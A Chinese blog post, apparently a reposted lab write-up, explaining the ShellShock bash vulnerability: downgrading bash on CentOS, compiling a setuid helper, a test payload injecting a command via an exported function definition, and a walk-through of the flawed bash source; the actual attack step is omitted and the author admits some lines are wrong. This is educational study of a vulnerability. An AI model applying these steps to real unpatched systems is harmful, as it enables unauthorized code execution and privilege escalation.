关于ShellShock漏洞的利用过程和原理解析
来源:互联网 发布:2016年十大网络流行语 编辑:程序博客网 时间:2024/06/11 01:06
0x00
今天本是应该休息和打LOL的日子,但是我那个敬业的舍友非要拿python写个跟Siri类似的东西。好吧我也来学习学习
晚上来研究下这个14年出现并且自家产品能防护住的漏洞---ShellShock这是Bashshell中的一个漏洞,使得攻击者能在小于等于4.1版本的Bash上进行任意代码执行
实验环境:Centos 6.7
实验目的:获取root权限
0x01
先检查了下自己的bash版本是不是小于4.1
如果不是则通过下边的步骤进行修改
#wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
#tar xf bash-4.1.tar.gz
#cd bash-4.1
#./configure
#make & make install
#rm /bin/bash
#ln -s /usr/local/bin/bash /bin/bash
到此可以bash -version下看看自己的版本有么有变,建议先做个镜像
0x02
检测存在漏洞
出现 vulnerable说明存在漏洞,反则不存在
并让/bin/sh 指向 /bin/bash
$ sudo ln -sf /bin/bash /bin/sh
0x03
安装GCC
yum -y install gcc gcc-c++ kernel-devel
然后写漏洞利用的代码
#include <stdio.h>
void main()
{
setuid(geteuid());
system("/bin/ls -l");
}
保存为xxx.c
进行编译
后边几行写错了不要在意
0x04
进行攻击
完美获取权限
0x05
原理简单解释
首先因为bash中的自定义函数,只需要函数名就能够调用该函数
e.g
$ foo() {echo bar;}
$foo
>bar
环境变量为
KEY= foo
VALUE=() { echo bar;}
那么我们可以构造检测的payload
$export foo='() { :; }; echo Hello'
$bash
>Hello
环境变量
KEY=foo
VALUE=() { :;};echo Hello
显而易见,bash读取了环境变量,调用bash时候,自定义语句就会触发
还记得上边写的.c文件中的 setuid(geteuid());
使得 make real uid = effective uid.
我们再来看简化后的bash源代码
void initialize_shell_variables(){ // 循环遍历所有环境变量
for (string_index = 0; string = env[string_index++]; ) {
/*...*/
/* 如果有export过的函数, 在这里定义 */
/* 无法导入在特权模式下(root下)定义的函数 */
if (privmode == 0 && read_but_dont_execute == 0 && STREQN (“() {“, string, 4)) {
[...]
// 这里是shellshock发生的地方
// 传递函数定义 + 运行额外的指令
parse_and_execute (temp_string, name,
SEVAL_NONINT|SEVAL_NOHIST);
[...]
} }
就是上述那-句判断逻辑导致了两者的不同,primode即私有模式,要求real uid 与 effective uid保持一致
- 关于ShellShock漏洞的利用过程和原理解析
- 详解ShellShock 漏洞复现原理,内附ShellShock的修复方法
- 破壳(shellshock)漏洞的一些汇总
- Bash Shellshock(Bash远程代码执行)漏洞批量利用脚本
- shellshock linux 漏洞
- “破壳”(Shellshock)漏洞修复
- 银行和企业奋力打击Bash Shellshock 漏洞
- ShellShock(破壳漏洞)的简单分析
- Shellshock漏洞那些事:网络安全噩梦的开始
- 独家分析:安卓“Janus”漏洞的产生原理及利用过程
- 跨站脚本攻击深入解析之:漏洞利用过程
- Bash Shellshock(Bash远程代码执行)漏洞分析及利用思路
- nginx解析漏洞利用
- 关于模板的原理和解析
- 关于模板的原理和解析
- 关于 Metasploitable2 下的 unreal_ircd_3281_backdoor漏洞利用
- DNS原理和解析过程
- DNS原理和解析过程
- C语言的库函数和系统的区别
- linux下查询命令
- h5学习笔记:横排导航(2)
- 解密c++宽字符
- 测试博客样式
- 关于ShellShock漏洞的利用过程和原理解析
- 2017年科技行业顶尖项目展开(上)
- 每天一个 Linux 命令(20):find命令之exec
- HashMap和Hashtable的区别
- mfc100u.dll丢失的解决方法
- ZCMU—1375
- 读《代码大全》第2版 第13章 不常见的数据类 ~ 19章
- Label显示不同颜色、字体的文字
- 折叠文本的使用